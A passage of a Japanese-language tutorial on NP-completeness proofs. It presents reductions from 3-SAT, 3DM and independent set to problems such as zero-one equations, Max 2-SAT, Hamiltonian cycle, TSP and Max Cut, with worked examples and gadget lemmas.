各 $(j, k)$ に対し、変数 $x_{l_{j, k}}$ が何番目の出現かを考える。すなわち $$ \nu_{j, k} = |{\{(j', k')\in\Lambda_m\times\Lambda_3 \mid l_{j', k'} = l_{j, k} \wedge (j', k')\lt (j, k)\}}| $$ とする。ただし、$\lt$ は辞書順とする*12。また、簡便さのため $$ \begin{aligned} y_{j, k} &= w_{l_{j, k}, \nu_{j, k}, a_{j, k}}, & {\bar y}_{j, k} &= w_{l_{j, k}, \nu_{j, k}, \lnot a_{j, k}} \end{aligned} $$ とし、これを用いて、 $$ \begin{aligned} \gamma_{\text{clause}}(j) &= \{(v_{j, 0}, y, v_{j, 0}') \mid y\in\{y_{j, 0}, y_{j, 1}, y_{j, 2}\}\} \\ & \qquad\quad {} \cup \{(v_{j, 1}, y, v_{j, 1}') \mid y\in\{y_{j, 0}, \bar y_{j, 0}, y_{j, 1}, \bar y_{j, 1}, y_{j, 2}, \bar y_{j, 2}\}\} \\ & \qquad\quad {} \cup \{(v_{j, 2}, y, v_{j, 2}') \mid y\in\{y_{j, 0}, \bar y_{j, 0}, y_{j, 1}, \bar y_{j, 1}, y_{j, 2}, \bar y_{j, 2}\}\} \end{aligned} $$ とする。

$$ T = \left(\bigcup_{i=0}^{n-1} \gamma_{\text{variable}}(i)\right) \cup \left(\bigcup_{j=0}^{m-1} \gamma_{\text{clause}}(j)\right) $$ とする。 このとき、$\theta = ( (X, Y, Z), T)$ に完全マッチングが存在することと、$\phi$ が充足可能であることは同値である。

($\implies$): $M$ が $\theta$ の完全マッチングであるとき、$\phi(\bm x) = 1$ なる $\bm x$ を構成できることを示す。

各 $i\in\Lambda_n$ に対して、$\gamma_{\text{discard-false}}(i) \subseteq M$ のとき $x_i = 1$、$\gamma_{\text{discard-true}}(i) \subseteq M$ のとき $x_i = 0$ とする。

各 $j\in\Lambda_m$ に対して $$ \{(x, y, z)\in T\mid x=v_{j, 0}\vee z=v_{j, 0}'\} = \{v_{j, 0}\}\times\{y_{j, 0}, y_{j, 1}, y_{j, 2}\}\times\{v_{j, 0}'\} $$ であり、ちょうど一つの $k\in\Lambda_3$ に対して $(v_{j, 0}, y_{j, k}, v_{j, 0}')\in M$ が成り立つ。 また、Lemma 9 を踏まえると、ある $(u, u')\in X\times Z$ が存在して $(u, \bar y_{j, k}, u')\in M$ が成り立つことがわかる。 以上より、$x_{l_{j, k}} = a_{j, k}$ が従うため、 $$( (x_{l_{j, 0}}\harr a_{j, 0})\wedge(x_{l_{j, 1}}\harr a_{j, 1})\wedge(x_{l_{j, 2}}\harr a_{j, 2}) ) = 1$$ が成り立つ。

($\impliedby$): $\bm x$ が $\phi(\bm x) = 1$ を満たすとき、$\theta$ の完全マッチング $M$ を構成できることを示す。

各 $i\in\Lambda_n$ に対して、$x_i = 0$ のとき、任意の $t\in\gamma_{\text{discard-true}}(i)$ に対して $t\in M$ とし、$x_i = 1$ のとき、任意の $t\in\gamma_{\text{discard-false}}(i)$ に対して $t\in M$ とする。

また、各 $j\in\Lambda_m$ に対し、ある $k\in\Lambda_3$ が存在して $x_{l_{j, k}} = a_{j, k}$ が成り立つから、その $k$ に対して $(v_{j, 0}, y_{j, k}, v_{j, 0}')\in M$ とする。

さらに、$\{k', k''\} = \Lambda_3\smallsetminus\{k\}$ とする。$x_{l_{j, k'}} = a_{j, k'}$ のとき $(v_{j, 1}, y_{j, k'}, v_{j, 1}')\in M$ とし、$x_{l_{j, k'}} \ne a_{j, k'}$ のとき $(v_{j, 1}, \bar y_{j, k'}, v_{j, 1}')\in M$ とする。$k''$ についても $v_{j, 2}$ と $v_{j, 2}'$ について同様にする。

上記以外の $t\in T$ については $t\notin M$ とする。これは完全マッチングの条件を満たしている。$\qed$

補足

$\gamma_{\text{clause}}$ のイメージ

左半分が consistency gadget で、灰色の頂点が $u_{i, j}\in X$、黒色の頂点が $u_{i, j}'\in Z$、赤線白色の頂点が $w_{i, j, 0}\in Y$、赤色の頂点が $w_{i, j, 1}\in Y$ に対応します。 右半分が satisfaction gadget で、灰色の頂点が $v_{i, j}\in X$、黒色の頂点が $v_{i, j}'\in Z$ に対応します。 satisfaction gadget のうち $v_{j, 0}\in X$ と $v_{j, 0}'\in Z$ を含む組は、その節を充足するリテラルのみを選択できるようにし、残りの組は任意のリテラルを選択できるようにしています。$\eod$

3-SAT の問題例 $\phi = (x_0\vee x_1\vee\lnot x_2)\wedge(\lnot x_1\vee x_2\vee x_3)\wedge(\lnot x_0\vee x_1\vee\lnot x_3)$ を考えます。変数は $n=4$ 個、節は $m=3$ 個です。以前の章で用いたものと同様の例です。

Claim 10 に従って構成した $\theta$ における certificate は下記の通りです。$3$ つ組があまりにも入り乱れているため、素の $\theta$ の図は割愛し、完全マッチングの certificate を明示した図のみを載せます。

$\theta$ の certificate

マッチングのうち consistency gadget を含む部分から、$\bm x = (1, 1, 0, 1)$ が構成できます。satisfaction gadget を含む部分から、$x_0\vee x_1\vee\lnot x_2$ は $x_0$ が、$\lnot x_1\vee x_2\vee x_3$ は $x_3$ が、$\lnot x_0\vee x_1\vee\lnot x_3$ は $x_1$ が節を充足することがわかります。

Zero-One Equation (ZOE)

$n$ 個の変数 $x_0, \dots, x_{n-1}\in\{0, 1\}$ に対する、$m$ 個の方程式が与えられます。 行列を用いて次のように表現できます。 $$ \def\arraystretch{1.25} \left(\begin{matrix} a_{0, 0} & \dots & a_{0, n-1} \\ \vdots & \ddots & \vdots \\ a_{m-1, 0} & \dots & a_{m-1, n-1} \end{matrix}\right) \left(\begin{matrix} x_0 \\ \vdots \\ x_{n-1} \end{matrix}\right) = \left(\begin{matrix} 1 \\ \vdots \\ 1 \end{matrix}\right) $$ より記号的には、$A = (a_{j, i})_{(j, i)\in\Lambda_m\times\Lambda_n}$ として $A\bm x=\bm1$ とも表せます。ここで、各 $i$, $j$ に対して $a_{i, j}\in\{0, 1\}$ です。 与えられた $A$ に対し、$A\bm x=\bm1$ なる $\bm x$ が存在するか?という問題です。

なお、$j$ 番目の方程式は、$S_j = \{i\in\Lambda_n \mid a_{j, i} = 1\}$ として $\sum_{i\in S_j} x_i = 1$ と見なすこともできます。

note: $\sum_{i\in S} x_i = 0$ は、変数 $z$ を導入して $z = 1$ かつ $z + \sum_{i\in S} x_i = 1$ と帰着できます。

Claim 11: ZOE は、3DM から帰着できる。

Proof

3DM の問題例を $\phi = ( (X, Y, Z), T)$ とする。$|X| = n$ かつ $|T| = m$ とし、一般性を失わず $$ \begin{aligned} X &= \{0\}\times\Lambda_n, \\ Y &= \{1\}\times\Lambda_n, \\ Z &= \{2\}\times\Lambda_n, \\ T &= \{(x_j, y_j, z_j) \mid j\in\Lambda_m\} \end{aligned} $$ とする。$3n\times m$ の行列 $A = (a_{i, j})_{(i, j)\in\Lambda_{3n}\times\Lambda_m}$ を $$ a_{i, j} = \begin{cases} 1, & \text{if}\; i-0n\in\Lambda_n \wedge x_j = (0, i); \\ 1, & \text{if}\; i-1n\in\Lambda_n \wedge y_j = (1, i); \\ 1, & \text{if}\; i-2n\in\Lambda_n \wedge z_j = (2, i); \\ 0, & \text{otherwise} \end{cases} $$ で定義する。このとき、ZOE の問題例を $\theta = A$ とすると、$\phi$ が完全マッチングを持つことと $A\bm v=\bm1$ なる $\bm v=(v_0\;\; \cdots\;\; v_{m-1})^{\top}$ が存在することは同値である。

($\implies$): 完全マッチング $M$ が存在するとき、条件を満たす $\bm v$ が存在することを示す。

各 $j\in\Lambda_m$ に対し、$(x_j, y_j, z_j)\in M$ のとき $v_j = 1$、そうでないとき $v_j = 0$ とすると、$A\bm v=\bm1$ を満たす。

To-be-proved 1: 任意の $i\in\Lambda_n$ に対して $\bm a_i\bm v\gt 0$

ある $i\in\Lambda_n$ に対して $\bm a_i\bm v=0$ と仮定する。このとき、 $$ \{(x_j, y_j, z_j)\in M\mid x_j = (0, i)\} = \emptyset $$ となる。これは $M$ が完全マッチングであることに反する。$y_j$ や $z_j$ についても同様。

To-be-proved 2: 任意の $i\in\Lambda_n$ に対して $\bm a_i\bm v\le 1$

ある $i\in\Lambda_n$ に対して $\bm a_i\bm v\gt 0$ を仮定し、同様に矛盾を導ける。

($\impliedby$): 条件を満たす $\bm v$ が存在するとき、完全マッチング $M$ が存在することを示す。

$J = \{j\in\Lambda_m\mid v_j = 1\}$ として $M = \{(x_j, y_j, z_j) \mid j\in J\}$ とする。このとき、$M$ は完全マッチングとなる。 各 $i\in\Lambda_n$ に対して $$ \{(x, y, z)\in T\mid x = (0, i)\} = \{(x_j, y_j, z_j)\} $$ が成り立つことが言える。$(1, i)$ や $(2, i)$ についても同様。$\qed$

最初に 3DM を導入したときと同様の例を使いましょう。

3DM の問題例 $\phi$

$$ \begin{aligned} X &= \{0\} \times \Lambda_4, \\ Y &= \{1\} \times \Lambda_4, \\ Z &= \{2\} \times \Lambda_4, \\ T' &= \{(0, 1, 3), (1, 0, 2), (1, 2, 3), (2, 3, 0), (3, 2, 1)\}, \\ T &= \{( (0, x), (1, y), (2, z) )\mid (x, y, z) \in T'\} \end{aligned} $$ に対し、$\phi = ( (X, Y, Z), T)$ を考えます。Claim 11 に従って ZOE の問題例 $\theta$ を構成できます。縦に長すぎます。 $$ \def\arraystretch{1.25} \theta = \left(\begin{array}{ccccc} 1 & 0 & 0 & 0 & 0 \\ 0 & 1 & 1 & 0 & 0 \\ 0 & 0 & 0 & 1 & 0 \\ 0 & 0 & 0 & 0 & 1 \\ \hdashline 0 & 1 & 0 & 0 & 0 \\ 1 & 0 & 0 & 0 & 0 \\ 0 & 0 & 1 & 0 & 1 \\ 0 & 0 & 0 & 1 & 0 \\ \hdashline 0 & 0 & 0 & 1 & 0 \\ 0 & 0 & 0 & 0 & 1 \\ 0 & 1 & 0 & 0 & 0 \\ 1 & 0 & 1 & 0 & 0 \\ \end{array}\right) $$ 縦に長すぎるため、転置させて書きます。$\bm x=(1\; 1\; 0\; 1\; 1)^{\top}$ が certificate になります。 $$ \def\arraystretch{1.25} \left(\begin{array}{cccc:cccc:cccc} \textcolor{#D3381C}{1}&0&0&0 & 0&\textcolor{#D3381C}{1}&0&0 & 0&0&0&\textcolor{#D3381C}{1} \\ 0&\textcolor{#D3381C}{1}&0&0 & \textcolor{#D3381C}{1}&0&0&0 & 0&0&\textcolor{#D3381C}{1}&0 \\ 0&1&0&0 & 0&0&1&0 & 0&0&0&1 \\ 0&0&\textcolor{#D3381C}{1}&0 & 0&0&0&\textcolor{#D3381C}{1} & \textcolor{#D3381C}{1}&0&0&0 \\ 0&0&0&\textcolor{#D3381C}{1} & 0&0&\textcolor{#D3381C}{1}&0 & 0&\textcolor{#D3381C}{1}&0&0 \end{array}\right)^{\top} \left(\begin{matrix} 1 \\ 1 \\ 0 \\ 1 \\ 1 \end{matrix}\right) $$ 各列について $1$ がちょうど一つずつあることが見て取れます。$\eod$

Maximum 2-SAT (Max 2-SAT)

変数 $x_0, \dots, x_{n-1}\in\{0, 1\}$ を自由に動かせるとき、

$$\phi = \sum_{j=0}^{m-1} {( (x_{l_{j, 0}}\harr a_{j, 0})\vee(x_{l_{j, 1}}\harr a_{j, 1}) )}$$ の最大値を求めよという問題です。 SAT における「(全部は充足できなくても)何々個までの節なら充足できるが...」版と見なすことができます。

Lemma 12: 任意の $\alpha, \beta\in\{0, 1\}$ に対し、下記が成り立つ。 $$ \begin{aligned} \alpha + (\lnot\alpha) &= 1, \\ \alpha\cdot\beta &= \alpha\wedge\beta, \\ \max {\{\alpha, \beta\}} &= \alpha\vee\beta, \\ \alpha + (\lnot\alpha\wedge\beta) &= \alpha\vee\beta, \\ \max {\{\alpha, 1+\beta\}} &= 1+\beta, \\ (\alpha\wedge\beta) + (\alpha\wedge\lnot\beta) &= \alpha, \\ (\alpha\vee\beta) + (\alpha\vee\lnot\beta) &= 1 + \alpha. \end{aligned} $$

Proof

上 4 つは場合分けより明らか。5 つ目は、$\alpha \le 1\le 1+\beta$ に注意せよ。残りは下記の通り。

$$ \begin{aligned} (\alpha\wedge\beta) + (\alpha\wedge\lnot\beta) &= \lnot\alpha\cdot(0+0) + \alpha\cdot(\beta+\lnot\beta) \\ &= \lnot\alpha\cdot 0 + \alpha\cdot 1 \\ &= \alpha, \\ (\alpha\vee\beta) + (\alpha\vee\lnot\beta) &= \lnot\alpha\cdot(\beta+\lnot\beta) + \alpha\cdot(1+1) \\ &= \lnot\alpha\cdot 1 + \alpha\cdot 2 \\ &= (\lnot\alpha) + \alpha + \alpha \\ &= 1 + \alpha. \quad\qed \end{aligned} $$

Lemma 13: 任意の $\alpha\in\{0, 1\}$ と関数 $f\colon\{0, 1\}\to\N$ に対し、 $$f(\alpha) = \lnot\alpha\cdot f(0) + \alpha\cdot f(1)$$ が成り立つ。

Proof. 場合分けより明らか。$\qed$

Lemma 14: 任意の $\alpha, \beta, \gamma, z\in\{0, 1\}$ に対し、 $$ \begin{aligned} &\phantom{{}={}} f(\alpha, \beta, \gamma, z) = {} \\ & \qquad\quad {} (\alpha\vee\beta) + (\alpha\vee\lnot\beta) + (\lnot\alpha\vee\lnot\beta) + (\lnot\alpha\vee z) + (\beta\vee\lnot z) + (\gamma\vee z) \end{aligned} $$ で定義する。このとき、 $$ \max_{z\in\{0, 1\}} f(\alpha, \beta, \gamma, z) = 4 + (\alpha\vee\beta\vee\gamma) $$ が成り立つ。

Proof

$f$ の前半 $3$ 項からなる和は、$z$ によらず下記が成り立つ。 $$ \begin{aligned} &\phantom{{}={}} (\alpha\vee\beta) + (\alpha\vee\lnot\beta) + (\lnot\alpha\vee\lnot\beta) \\ &= \lnot\alpha\cdot(\beta+(\lnot\beta)+1) + \alpha\cdot(1+1+(\lnot\beta) ) \\ &= \lnot\alpha\cdot 2 + \alpha\cdot(2+(\lnot\beta) ) \\ &= ( (\lnot\alpha) + \alpha)\cdot 2 + \alpha\cdot (\lnot\beta) \\ &= 2 + (\alpha\wedge\lnot\beta). \end{aligned} $$ また、後半 $3$ 項からなる和については下記が成り立つ。 $$ \begin{aligned} &\phantom{{}={}} \max_{z\in\{0, 1\}} {(\lnot\alpha\vee z) + (\beta\vee\lnot z) + (\gamma\vee z)} \\ &= \max {\{( (\lnot\alpha) + 1 + \gamma), (1+\beta+1)\}} \\ &= 1 + \max {\{(\lnot\alpha)+\gamma, \beta+1\}} \\ &= 1 + (\lnot\alpha)\cdot(\max {\{1+\gamma, \beta+1\}}) + \alpha\cdot(\max {\{0+\gamma, \beta+1\}}) \\ &= 1 + (\lnot\alpha)\cdot(1 + (\beta\vee\gamma) ) + \alpha\cdot(1 + \beta) \\ &= 1 + ( (\lnot\alpha) + \alpha) + (\lnot\alpha)\cdot(\beta\vee\gamma) + \alpha\cdot\beta \\ &= 2 + (\lnot\alpha\wedge(\beta\vee\gamma) ) + (\alpha\wedge\beta). \\ \end{aligned} $$ 以上より、下記を得る。 $$ \begin{aligned} \max_{z\in\{0, 1\}} f(\alpha, \beta, \gamma, z) &= 2 + (\alpha\wedge\lnot\beta) + 2 + (\lnot\alpha\wedge(\beta\vee\gamma) ) + (\alpha\wedge\beta) \\ &= 4 + (\alpha\wedge\beta) + (\alpha\wedge\lnot\beta) + 2 + (\lnot\alpha\wedge(\beta\vee\gamma) ) \\ &= 4 + \alpha + (\lnot\alpha\wedge(\beta\vee\gamma) ) \\ &= 4 + \alpha\vee(\beta\vee\gamma) \\ &= 4 + (\alpha\vee\beta\vee\gamma). \quad\qed \end{aligned} $$

Claim 15: Max 2-SAT は 3-SAT から帰着できる。

Proof

3-SAT の問題例を $$ \phi = \bigwedge_{j=0}^{m-1} {(\alpha_{j, 0}\vee\alpha_{j, 1}\vee\alpha_{j, 2})} $$ とし、$n$ 個の変数からなるとする。これに対し、Claim 14 で定義した $f$ と新たに導入する変数 $z_0, \dots, z_{m-1}$ を用いて $$ \theta = \sum_{j=0}^{m-1} f(\alpha_{j, 0}, \alpha_{j, 1}, \alpha_{j, 2}, z_j) $$ で定義する。このとき、ある列 $\bm x = (x_0, \dots, x_{n-1})$ および $\bm z = (z_0, \dots, z_{m-1})$ に対して $\theta(\bm x, \bm z) \ge 5m$ が成り立つことと $\phi(\bm x) = 1$ であることは同値である。

$$ \begin{aligned}\ \max_{\bm x, \bm z} \theta &= \max_{\bm x, \bm z} \sum_{j=0}^{m-1} f(\alpha_{j, 0}, \alpha_{j, 1}, \alpha_{j, 2}, z_j) \\ &= \max_{\bm x} \sum_{j=0}^{m-1} {(4+(\alpha_{j, 0}\vee\alpha_{j, 1}\vee\alpha_{j, 2}) )} \\ &= 4m + \max_{\bm x} \sum_{j=0}^{m-1} {(\alpha_{j, 0}\vee\alpha_{j, 1}\vee\alpha_{j, 2})} \\ \end{aligned} $$ である。

($\implies$): 対偶 $\phi(\bm x) = 0 \implies \max_{\bm z} \theta(\bm x, \bm z) \lt 5m$ を示す。

ある $j$ が存在して $(\alpha_{j, 0}\vee\alpha_{j, 1}\vee\alpha_{j, 2}) = 0$ が成り立つため、 $$ \max_{\bm z} {\theta(\bm x, \bm z)} = 4m + \sum_{j=0}^{m-1} {(\alpha_{j, 0}\vee\alpha_{j, 1}\vee\alpha_{j, 2})} \lt 4m + m = 5m $$ となる。

($\impliedby$): $\phi(\bm x) = 1 \implies \max_{\bm z} \theta(\bm x, \bm z) \ge 5m$ を示す。

任意の $j$ に対して $(\alpha_{j, 0}\vee\alpha_{j, 1}\vee\alpha_{j, 2}) = 1$ が成り立つため、 $$ \max_{\bm z} {\theta(\bm x, \bm z)} = 4m + \sum_{j=0}^{m-1} {(\alpha_{j, 0}\vee\alpha_{j, 1}\vee\alpha_{j, 2})} = 4m + m \ge 5m $$ となる。$\qed$

上記の $f(\alpha, \beta, \gamma, z) = 4 + (\alpha\vee\beta\vee\gamma)$ なる gadget は全探索により探しました。一つの節に重複するリテラルが登場することを許すなら、下記の方が少ない個数で済みます。

Claim 16: 以下で $g(\alpha, \beta, \gamma, z)$ を定義する。 $$ g(\alpha, \beta, \gamma, z) = (\alpha\vee\beta)+(\lnot\alpha\vee\lnot z)+(\lnot\beta\vee\lnot z)+(\gamma\vee\lnot z)+(z\vee z). $$ これに対し、 $$ \max_{z\in\{0, 1\}} g(\alpha, \beta, \gamma, z) = 3 + (\alpha\vee\beta\vee\gamma) $$ が成り立つ。

Proof

$$ \begin{aligned} \max_{z\in\{0, 1\}} g(\alpha, \beta, \gamma, z) &= (\alpha\vee\beta) + \max {\{1+1+1+0, \lnot\alpha+\lnot\beta+\gamma+1\}} \\ &= (\alpha\vee\beta) + \max {\{3, 1+(\lnot\alpha+\lnot\beta+\gamma)\}} \\ &= \lnot(\alpha\vee\beta)\cdot(\max {\{3, 1+(1+1+\gamma)\}}) \\ & \qquad\quad {} + (\alpha\vee\beta)\cdot(1 + \max {\{3, 1+(\lnot\alpha+\lnot\beta+\gamma)\}}) \\ &= \lnot(\alpha\vee\beta)\cdot(3+\gamma) + (\alpha\vee\beta)\cdot(1 + 3) \\ &= 3 + \lnot(\alpha\vee\beta)\wedge\gamma + (\alpha\vee\beta) \\ &= 3 + (\alpha\vee\beta\vee\gamma). \quad\qed \end{aligned} $$

帰着②

読者への課題パートです。概要だけ述べます。

Directed Hamiltonian Cycle

有向グラフ $G = (V, E)$ が与えられます。すべての頂点をちょうど一回ずつ通るサイクルはあるか?という問題です。 すなわち、頂点集合 $V$ の並べ替えによって得られる列 $(v_0, \dots, v_{|V|-1})\in V!$ であって、任意の $i\in\Lambda_{|V|-1}$ に対して $(v_i, v_{i+1})\in E$ かつ $(v_{|V|-1}, v_0)\in E$ を満たすものは存在するか?という問題です。このサイクルを Hamiltonハミルトン サイクル (Hamiltonian cycle) と呼びます。

次の $7$ 頂点のグラフ $G$ に対して、Hamiltonian Cycle の問題例 $\phi = G$ を考えます。

グラフ $G$

Hamiltonian cycle は存在し、次が certificate となります。

$\phi$ の certificate

この例においては、列の始点の違いを同一視すると一意です。$\eod$

Claim 17: Directed Hamiltonian Cycle は 3-SAT から帰着できる。

Reduction + Sketch

$i$ 番目の変数 ($i\in\Lambda_n$) に対応する gadget を $$ \begin{aligned} V_{\text{variable}}(i) &= \{i\}\times\Lambda_{3(m+1)}, \\ % E_{\text{variable}}(i) &= \left\{\bigl( (i, j), (i, j+1) \bigr) \bigm| j\in\Lambda_{3(m+1)-1}\right\}, \\ E_{\text{variable}}(i) &= \left\{\bigl( (i, j), (i, j')\bigr) \in {V_{\text{variable}}(i)}^2 \bigm| |j-j'|=1\right\}, \\ &= \bigcup_{j\in\Lambda_{3(m+1)-1}} \left\{\bigl( (i, j), (i, j+1) \bigr), \bigl( (i, j+1), (i, j) \bigr)\right\} \end{aligned} $$ で定義する。また、$V_{\text{variable}}(i)$ のうち $j$ 番目の節 ($j\in\Lambda_m$) に対応する要素を得る関数を $$ \begin{aligned} f_{\text{out}}(i, j, a) &= \bigl(i, 3(j+1)+(1-a)\bigr), \\ f_{\text{in}}(i, j, a) &= \bigl(i, 3(j+1)+a\bigr) \end{aligned} $$ で定義する。$j$ 番目の節 ($j\in\Lambda_m$) に対応する頂点を $v_j$ とし、これを含む gadget を $$ \begin{aligned} E_{\text{clause}}(j) &= \bigcup_{k\in\Lambda_3} \left\{ \bigl(f_{\text{out}}(l_{j, k}, j, a_{j, k}), v_j\bigr), \bigl(v_j, f_{\text{in}}(l_{j, k}, j, a_{j, k})\bigr) \right\} \end{aligned} $$ で定義する。

さらに、超頂点 $v_{\text{source}}$, $v_{\text{sink}}$ を導入する。 また、$V_{\text{variable}}(i)$ の両端の要素を得る関数を $$ g_{\text{ends}}(i) = \{i\} \times \{0, 3(m+1)-1\} $$ で定義する。これらの要素における辺集合を $$ \begin{aligned} E_{\text{outer}} &= \bigl(\{v_{\text{source}}\}\times g_{\text{ends}}(0)\bigr) \\ &\qquad\quad {} \cup \left(\bigcup_{i\in\Lambda_{n-1}} g_{\text{ends}}(i) \times g_{\text{ends}}(i+1)\right) \cup \bigl(g_{\text{ends}}(n-1)\times\{v_{\text{sink}}\}\bigr) \end{aligned} $$ で定義する。

これらを用いて $$ \begin{aligned} V &= \{v_{\text{source}}, v_{\text{sink}}\}\cup\{v_i\mid i\in\Lambda_n\}\cup V_{\text{variable}}(i), \\ E &= \left(\bigcup_{i\in\Lambda_n} E_{\text{variable}}(i)\right) \cup \left(\bigcup_{j\in\Lambda_m} E_{\text{clause}}(j)\right) \cup E_{\text{outer}} \end{aligned} $$ とし、$\theta = (V, E)$ とする。$\theta$ における Hamilton サイクルの存在性が $\phi$ の充足可能性と同値になる。

($\implies$): $\theta$ の Hamiltonian サイクルから $\phi(\bm x)=1$ なる $\bm x$ を構成できることを示す。

$\theta$ の certificate が含む辺全体から集合を $P$ とする。$\bigl( (i, 0), (i, 1) \bigr)\in P$ のとき $x_i = 1$ とする。そうでないとき $\bigl( (i, 1), (i, 0)\bigr)\in P$ であり、このとき $x_i = 0$ とする。

Lemma: $\bigl( (i, 0), (i, 1)\bigr)\in P$ のとき、$\bigl( (i, j), (i, j')\bigr)\in P$ ならば $j\lt j'$ が成り立つ。

Lemma: $\bigl( (i, 1), (i, 0)\bigr)\in P$ のとき、$\bigl( (i, j), (i, j')\bigr)\in P$ ならば $j\gt j'$ が成り立つ。

Lemma: $(f_{\text{out}}(i, j, a), v_j)\in P$ と $(v_j, f_{\text{in}}(i, j, a) )\in P$ は同値である。

これらを踏まえると、頂点 $v_j$ を通るならば節 $j$ が充足することを示せるはず。

($\impliedby$): $\phi(\bm x)=1$ なる $\bm x$ から $\theta$ の Hamilton サイクルを構成できることを示す。

グラフの構成から容易であるはず。$\eod$

問題例 $$ \phi = (x_0\vee x_1\vee \lnot x_2) \wedge (\lnot x_1\vee x_2\vee x_3) \wedge (\lnot x_0\vee x_1\vee \lnot x_3) $$ で考えます。

グラフ $\theta$

一番上と一番下の頂点がそれぞれ $v_{\text{source}}$ と $v_{\text{sink}}$ です。$v_{\text{source}}$ と $x_0$ の段の間にある頂点が、左から $v_0$, $v_1$, $v_2$ です。certificate は次のようになります。

$\theta$ の certificate

$i$ 行目が右に進んでいれば $x_i = 1$、左に進んでいれば $x_i = 0$ というイメージです。$x_i$ が節 $j$ を充足するためには、$i$ 行目の進行方向と $f_{\text{out}}(i, j, a) \rightsquigarrow v_j \rightsquigarrow f_{\text{in}}(i, j, a)$ の方向が一致している必要があります。

$f_{\text{out}}(i, j, a)\rightsquigarrow v_j\rightsquigarrow f_{\text{in}}(i, j, a)$ がなす gadget の両端の頂点は必要なのか?と思う人がいるかもしれません。えびちゃんは最初思いました。

反例

なかった場合の反例

変数が $2$ 個以下や節が $7$ 個以下の場合の 3-SAT は必ず充足可能なので、これが最小反例です。 手で求めるのはたいへんだったので、TSP に帰着して TSP solver (elkai-rs) に投げて、適当な certificate を出させました。ハチャメチャな Hamiltonian cycle を出してくれるかはお祈りでしたが、うまくいきました。 $$ \bigwedge_{j=0}^7 {(x_0\harr 0)\vee(x_0\harr 1)\vee(x_1\harr 0)\vee(x_1\harr 1)\vee(x_2\harr 0)\vee(x_2\harr 1)} $$ に相当するグラフで TSP を求め、辻褄が合うような 3-SAT を構成しました。

正しい帰着においては、$i$ 行目で右に進んでいれば $x_i=1$、$i$ 行目で左に進んでいれば $x_i=0$ ですが、このグラフでは右に進んだり左に進んだりしています。それぞれの節で $x_i=0$ と $x_i=1$ の都合のいい方を選べてしまっては不都合なので、それを防ぐ必要があります。

また、この反例に使った 3-SAT は、$(x_0)\wedge(\lnot x_0)$ を 3-SAT になるように変形したものに相当します。$\eod$

$\eod$

Undirected Hamiltonian Cycle

無向グラフ版の Hamiltonian Cycle です。次の one-way gadget を用いて、Directed Hamiltonian Cycle から帰着できます。

one-way gadget

各 $v$ に対応する頂点は、$(v_{\textsc{in}}, v, v_{\textsc{out}})$ ではなく $(v_{\textsc{in}}, v_{\textsc{out}})$ ではだめか?

誤った gadget(上)と反例(下)

exercise: より小さい反例を構成せよ。$\eod$

note: 同じ辺を複数回使ってもよいと思います。$V = \{0, 1\}$ かつ $E = \{\{0, 1\}\}$ に対して、$(0, 1)$ は条件を満たしていると思います。

Traveling Salesperson Problem

有向グラフ $G = (V, E)$ と辺の重み関数 $w\colon E\to\Z$ が与えられます。$|V| = n$ とします。 頂点集合 $V$ の並べ替えによって得られる列 $\bm v = (v_0, \dots, v_{n-1})$ であって、各 $i\in\Lambda_n$ に対して $(v_i, v_{(i+1)\bmod n})\in E$ であるものに対し、 $$ f(\bm v) = \sum_{i=0}^{n-1} w( (v_i, v_{(i+1)\bmod n}) ) $$ の最小値を求める問題です。決定問題版は、整数 $k$ も与えられて $f(\bm v)\le k$ にできるか?です。

Hamilton Cycle からそのまま帰着できます。各 $e\in E$ に対して $w(e) = 1$ として $\theta = ( (V, E), w)$ の certificate をそのまま $\phi$ の certificate にできます。

また、無向グラフ版についても同様に定義できます。

Maximum Cut (Max Cut)

無向グラフ $G = (V, E)$ が与えられます。$S\subseteq V$ に対し、 $$ \delta(S) = \{\{u, v\}\in E\mid (u\in S)\Longleftrightarrow(v\notin S)\} $$ を $S$ による カット集合 (cut-set) と呼びます。また、$(S, V\smallsetminus S)$ を カット (cut) と呼びます。 カット集合の要素数が最大となるカット(またはその最大値)を求めよという問題です。

決定問題版はいつものように定義します。

余談

競プロ界隈においては、最大フロー問題の双対として最小カット問題が有名です。特に、「頂点 $s$ から $t$ に到達できないようにするには辺を何本切ればよいか?」という問題文として広く認知されています。そのため、最大カットの話をすると「全部の辺を切るギャグですか?笑」となるのがありがちです。カットと呼んでいるものの定義に気をつけましょう。$\eod$

Claim 18: Maximum Cut は Maximum Independent Set から帰着できる。

Proof

MIS の問題例を $\phi = ( (V, E), k)$ とする。このとき、以下で定義される Maximum Cut の問題例 $\theta = ( (V', E'), k')$ に帰着できる。

$$ V_E = \bigcup_{e = \{u, v\} \in E} {\{e_u, e_v\}} $$ とする。ここで、$e_v = (e, v)$ とする。 また、$x\notin V$ を導入し、$V' = V \cup V_E\cup \{x\}$ とする。

$E_x = \{ \{x, v\} \mid v\in V\}$ とする。また、各 $e = \{u, v\}\in E$ に対し $$ E_e = \bigl\{\{u, e_u\}, \{x, e_u\}, \{v, e_v\}, \{x, e_v\}, \{e_u, e_v\}\bigr\} $$ とする。これを用いて $$ E' = E_x \cup \left(\bigcup_{e\in E} E_e\right) $$ とする。また、$k' = k + 4 \, |E|$ とする。

辺 $e = \{u, v\}$ に対応する gadget $E_e$

($\implies$): $(V, E)$ の独立集合 $I$ から、$(V', E')$ におけるサイズ $|I|+4\, |E|$ のカット $S$ を構成する。

下図は、上の段から順に $u\notin S\wedge v\notin S$、$u\in S\wedge v\notin S$、$u\in S\wedge v\in S$ のときの、$E_x$ と $E_e$ のカット集合のサイズへの寄与である。対称なものを除いたすべての組合せを記載した。黒い頂点が $S$ に含まれることを表す。

$E_x$ と $E_e$ のカット集合のサイズへの寄与

$S \cap V = I$ とする。 各 $e$ に対して独立に選択できるため、$e_u$ と $e_v$ を適切に選択することで $E_e$ から $4$ の寄与をすることができる。 よって、$|S| = |I| + 4\,|E|$ となる。

($\impliedby$): $(V', E')$ におけるサイズ $k+4\, |E|$ のカット $S$ が存在するとき、$(V, E)$ におけるサイズ $k$ の独立集合 $I$ が存在することを示す。

一般性を失わず $x\notin S$ とする。

